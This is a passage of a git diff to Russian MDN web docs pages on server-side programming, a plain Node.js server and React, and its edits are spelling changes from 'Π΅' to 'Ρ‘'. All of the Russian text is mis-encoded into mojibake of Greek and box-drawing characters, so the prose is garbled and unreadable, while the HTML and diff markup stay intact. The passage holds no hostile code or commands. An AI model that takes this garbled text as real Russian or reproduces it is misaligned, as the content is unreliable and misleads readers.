Π³ΠΎΡ‚ΠΎΠ²Ρ‹ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Π²Π΅Π±-ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡƒ ΠΈ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</p>
+<p>Π­Ρ‚ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΡ‘ΠΉ Π²Ρ‹ подошли ΠΊ ΠΊΠΎΠ½Ρ†Ρƒ <a href="/en-US/docs/Learn/Server-side/First_steps">этого модуля</a>, ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ ваши ΠΏΠ΅Ρ€Π²Ρ‹Π΅ шаги Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ Π½Π° сторонС сСрвСра. ΠœΡ‹ надССмся, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ ΠΏΠΎΠ½Ρ€Π°Π²ΠΈΠ»ΠΎΡΡŒ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ эти Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ, ΠΈ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Π²Π΅Π±-ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡƒ ΠΈ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</p>
<p>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p>
diff --git a/files/ru/learn/server-side/index.html b/files/ru/learn/server-side/index.html
index 66645f65dd..ee1cb35976 100644
--- a/files/ru/learn/server-side/index.html
+++ b/files/ru/learn/server-side/index.html
@@ -26,7 +26,7 @@ translation_of: Learn/Server-side
<p>ΠΠ°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒ с сСрвСрного программирования ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π»Π΅Π³Ρ‡Π΅, Ρ‡Π΅ΠΌ с Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ динамичСскиС Π²Π΅Π±-сайты склонны ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒΒ ΠΌΠ½ΠΎΠΆΠ΅ΡΡ‚Π²ΠΎ ΠΎΠ΄Π½ΠΎΠΎΠ±Ρ€Π°Π·Π½Ρ‹Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ (ΠΈΠ·Π²Π»Π΅ΠΊΠ°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ ΠΈΡ… Π½Π° страницС, ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π²Π²ΠΎΠ΄Β ΠΈ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ Π΅Π³ΠΎ Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ ΠΏΡ€Π°Π²Π° ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π²Ρ…ΠΎΠ΄Π°, ΠΈ.Ρ‚.Π΄.)Β ΠΈ сконструированы с использованиСм Π²Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ эти ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡Π½Ρ‹Π΅ Π²Π΅Π±-сСрвСру ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ с Π»Π΅Π³ΠΊΠΎΡΡ‚ΡŒΡŽ.</p>
-<p>ΠžΠ±Ρ‰Π΅Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΉ программирования (ΠΈΠ»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ языка) Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌ, Π½ΠΎ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ. Π‘Ρ…ΠΎΠ΄Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ,Β ΠΎΠΏΡ‹Ρ‚ программирования Π½Π° клиСнтской сторонС Π½Π΅ трСбуСтся, Π½ΠΎ Π±Π°Π·ΠΎΠ²ΠΎΠ΅ Π·Π½Π°Π½ΠΈΠ΅ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΡƒΡΠΏΠ΅ΡˆΠ½Π΅Π΅ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ с Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌΠΈ клиСнтской стороны Π²Π΅Π±-прилоТСния -Β "Ρ„Ρ€ΠΎΠ½Ρ‚Π΅Π½Π΄Π°".</p>
+<p>ΠžΠ±Ρ‰Π΅Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΉ программирования (ΠΈΠ»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ языка) Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌ, Π½ΠΎ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ. Π‘Ρ…ΠΎΠ΄Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ,Β ΠΎΠΏΡ‹Ρ‚ программирования Π½Π° клиСнтской сторонС Π½Π΅ трСбуСтся, Π½ΠΎ Π±Π°Π·ΠΎΠ²ΠΎΠ΅ Π·Π½Π°Π½ΠΈΠ΅ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΡƒΡΠΏΠ΅ΡˆΠ½Π΅Π΅ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ с Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌΠΈ клиСнтской стороны Π²Π΅Π±-прилоТСния -Β "Ρ„Ρ€ΠΎΠ½Ρ‚Π΅Π½Π΄Π°".</p>
<p>Π’Π°ΠΌ потрСбуСтся ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ "ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π²Π΅Π±". ΠœΡ‹ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌ Π²Π°ΠΌ сначала ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒΡΡ с Ρ‚Π΅ΠΌΠ°ΠΌΠΈ:</p>
@@ -44,11 +44,11 @@ translation_of: Learn/Server-side
<dl>
<dt><a href="/ru/docs/Learn/Server-side/First_steps">ΠŸΠ΅Ρ€Π²Ρ‹Π΅ шаги Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ Π²Π΅Π±-сайтов Π½Π° сторонС сСрвСра</a></dt>
- <dd>Π­Ρ‚ΠΎΡ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ посвящСн ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ тСхнологиях программирования Π²Π΅Π±-сайтов Π½Π° сторонС сСрвСра, ΠΏΠΎΠΏΡƒΡ‚Π½ΠΎ отвСчая ΠΈ Π½Π° Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Π΅ вопросы ΠΎ сСрвСрном ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ β€” "Ρ‡Ρ‚ΠΎ это Ρ‚Π°ΠΊΠΎΠ΅", "Ρ‡Π΅ΠΌ ΠΎΠ½ΠΎ отличаСтся ΠΎΡ‚ программирования Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°", ΠΈ "ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΎΠ½ΠΎΒ Ρ‚Π°ΠΊ вострСбовано" β€” ΠΈ обозрСвая Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ популярных сСрвСрных Π²Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΎΠ², Π° Ρ‚Π°ΠΊΠΆΠ΅ объясняя как Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ подходящий для вашСго сайта. НапослСдок ΠΌΡ‹ ΠΎΡ€Π³Π°Π½ΠΈΠ·ΡƒΠ΅ΠΌ Π²Π²ΠΎΠ΄Π½Ρ‹ΠΉ раздСл о бСзопасности вСб-сСрвСра.</dd>
+ <dd>Π­Ρ‚ΠΎΡ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ посвящён ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ тСхнологиях программирования Π²Π΅Π±-сайтов Π½Π° сторонС сСрвСра, ΠΏΠΎΠΏΡƒΡ‚Π½ΠΎ отвСчая ΠΈ Π½Π° Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Π΅ вопросы ΠΎ сСрвСрном ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ β€” "Ρ‡Ρ‚ΠΎ это Ρ‚Π°ΠΊΠΎΠ΅", "Ρ‡Π΅ΠΌ ΠΎΠ½ΠΎ отличаСтся ΠΎΡ‚ программирования Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°", ΠΈ "ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΎΠ½ΠΎΒ Ρ‚Π°ΠΊ вострСбовано" β€” ΠΈ обозрСвая Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ популярных сСрвСрных Π²Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΎΠ², Π° Ρ‚Π°ΠΊΠΆΠ΅ объясняя как Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ подходящий для вашСго сайта. НапослСдок ΠΌΡ‹ ΠΎΡ€Π³Π°Π½ΠΈΠ·ΡƒΠ΅ΠΌ Π²Π²ΠΎΠ΄Π½Ρ‹ΠΉ раздСл о бСзопасности вСб-сСрвСра.</dd>
<dt><a href="/en-US/docs/Learn/Server-side/Django">Π’Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ Django (Python)</a></dt>
<dd>Django являСтся Ρ‡Ρ€Π΅Π·Π²Ρ‹Ρ‡Π°ΠΉΠ½ΠΎ популярным ΠΈ ΠΏΠΎΠ»Π½ΠΎΡ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΌ сСрвСрным Π²Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΎΠΌ, написанным Π½Π° Python.Β Π­Ρ‚ΠΎΡ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ ΠΎΠ±ΡŠΡΡΠ½ΠΈΡ‚ ΠΏΠΎΡ‡Π΅ΠΌΡƒ Django Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΈΠΉ сСрвСрный Π²Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ,Β ΠΊΠ°ΠΊ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ срСду Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈ ΠΊΠ°ΠΊ с Π΅Π³ΠΎ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡Π½Ρ‹Π΅ Π·Π°Π΄Π°Ρ‡ΠΈ.</dd>
<dt><a href="/ru/docs/Learn/Server-side/Express_Nodejs">Π’Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΒ ExpressΒ (Node.js/JavaScript)</a></dt>
- <dd>Express - популярный Π²Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ, написанный Π½Π° JavaScript ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Π½Ρ‹ΠΉ Π² срСдС окруТСния node.js. ΠœΠΎΠ΄ΡƒΠ»ΡŒ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… прСимущСств этой структуры, ΠΊΠ°ΠΊ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ срСду Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈ ΠΊΠ°ΠΊ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΎΠ±Ρ‰ΠΈΠ΅ Π·Π°Π΄Π°Ρ‡ΠΈ для Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈ развСртывания.</dd>
+ <dd>Express - популярный Π²Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ, написанный Π½Π° JavaScript ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ Π² срСдС окруТСния node.js. ΠœΠΎΠ΄ΡƒΠ»ΡŒ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… прСимущСств этой структуры, ΠΊΠ°ΠΊ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ срСду Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈ ΠΊΠ°ΠΊ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΎΠ±Ρ‰ΠΈΠ΅ Π·Π°Π΄Π°Ρ‡ΠΈ для Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈ развСртывания.</dd>
<dt><a href="https://developer.mozilla.org/ru/docs/Learn/Server-side/Node_server_without_framework">Π‘Π΅Ρ€Π²Π΅Ρ€ Π½Π° Node Π±Π΅Π· Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΎΠ²</a></dt>
<dd>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ прСдставлСн простой статичСский Ρ„Π°ΠΉΠ»ΠΎΠ²Ρ‹ΠΉ сСрвСр, построСнный с использованиСм чистого Node.js, для Ρ‚Π΅Ρ… ΠΈΠ· вас, ΠΊΡ‚ΠΎ Π½Π΅ Ρ…ΠΎΡ‡Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ.</dd>
</dl>
diff --git a/files/ru/learn/server-side/node_server_without_framework/index.html b/files/ru/learn/server-side/node_server_without_framework/index.html
index 087627c20a..0a1a548668 100644
--- a/files/ru/learn/server-side/node_server_without_framework/index.html
+++ b/files/ru/learn/server-side/node_server_without_framework/index.html
@@ -5,7 +5,7 @@ translation_of: Learn/Server-side/Node_server_without_framework
---
<div>{{LearnSidebar}}</div>
-<p class="summary">Π—Π΄Π΅ΡΡŒ Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ описаниС простого статичСского сСрвСра, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ построСн сугубо Π½Π° Node.js Π±Π΅Π· использования ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ°Β .</p>
+<p class="summary">Π—Π΄Π΅ΡΡŒ Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ описаниС простого статичСского сСрвСра, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ построСн сугубо Π½Π° Node.js Π±Π΅Π· использования ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ°Β .</p>
<p><a href="https://nodejs.org/en/">Node.js</a>Β ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ мноТСство Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ сСрвСр</p>
@@ -81,4 +81,4 @@ console.log('Server running at http://127.0.0.1:8125/');</pre>
<h2 id="Π—Π°Π΄Π°Π½ΠΈΠ΅">Π—Π°Π΄Π°Π½ΠΈΠ΅</h2>
-<p>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π² этот ΠΊΠΎΠ΄ описаниС ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ этот ΠΊΠΎΠ΄. Как Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Π΅Ρ‰Π΅ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» динамичСских запросов.</p>
+<p>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π² этот ΠΊΠΎΠ΄ описаниС ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ этот ΠΊΠΎΠ΄. Как Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Π΅Ρ‰Ρ‘ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» динамичСских запросов.</p>
diff --git a/files/ru/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html b/files/ru/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html
index 418ad7f318..a5e7d74707 100644
--- a/files/ru/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html
+++ b/files/ru/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html
@@ -37,7 +37,7 @@ original_slug: Learn/Tools_and_testing/Π€Ρ€ΠΎΠ½Ρ‚Π΅Π½Π΄_JavaScript_Ρ„Ρ€Π΅ΠΉΠΌΠ²Π
<p>Для создания Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ React Π² Ρ‚Π°Π½Π΄Π΅ΠΌΠ΅ с <a href="https://reactjs.org/docs/react-dom.html">ReactDOM</a>. React and ReactDOM часто ΠΎΠ±ΡΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ пространствС ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Ρ‚Π΅Ρ… ΠΆΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ настоящиС Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ для Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ. Когда ΠΌΡ‹ ссылаСмся Π½Π° React ΠΊΠ°ΠΊ Π½Π° Β«Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΒ», ΠΌΡ‹ подразумСваСм это разговорноС пониманиС.</p>
-<p>Основная Ρ†Π΅Π»ΡŒ React - ΠΌΠΈΠ½ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ошибки, Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… интСрфСйсов. Π­Ρ‚ΠΎ достигаСтся Π·Π° счСт использования ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² - Π°Π²Ρ‚ΠΎΠ½ΠΎΠΌΠ½Ρ‹Ρ… логичСских Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ Ρ‡Π°ΡΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса. А ΡƒΠΆΠ΅ эти ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΡŽΡ‚ΡΡΒ Π΄Π»Ρ создания ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса.Β React абстрагируСт Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΏΠΎ Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, оставляя Π²Π°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠΎΡΡ€Π΅Π΄ΠΎΡ‚ΠΎΡ‡ΠΈΡ‚ΡŒΡΡ Π½Π° Π΄ΠΈΠ·Π°ΠΉΠ½Π΅.</p>
+<p>Основная Ρ†Π΅Π»ΡŒ React - ΠΌΠΈΠ½ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ошибки, Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… интСрфСйсов. Π­Ρ‚ΠΎ достигаСтся Π·Π° счёт использования ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² - Π°Π²Ρ‚ΠΎΠ½ΠΎΠΌΠ½Ρ‹Ρ… логичСских Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ Ρ‡Π°ΡΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса. А ΡƒΠΆΠ΅ эти ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΡŽΡ‚ΡΡΒ Π΄Π»Ρ создания ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса.Β React абстрагируСт Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΏΠΎ Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, оставляя Π²Π°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠΎΡΡ€Π΅Π΄ΠΎΡ‚ΠΎΡ‡ΠΈΡ‚ΡŒΡΡ Π½Π° Π΄ΠΈΠ·Π°ΠΉΠ½Π΅.</p>
<h2 id="Когда_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ">Когда ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ</h2>
@@ -45,7 +45,7 @@ original_slug: Learn/Tools_and_testing/Π€Ρ€ΠΎΠ½Ρ‚Π΅Π½Π΄_JavaScript_Ρ„Ρ€Π΅ΠΉΠΌΠ²Π
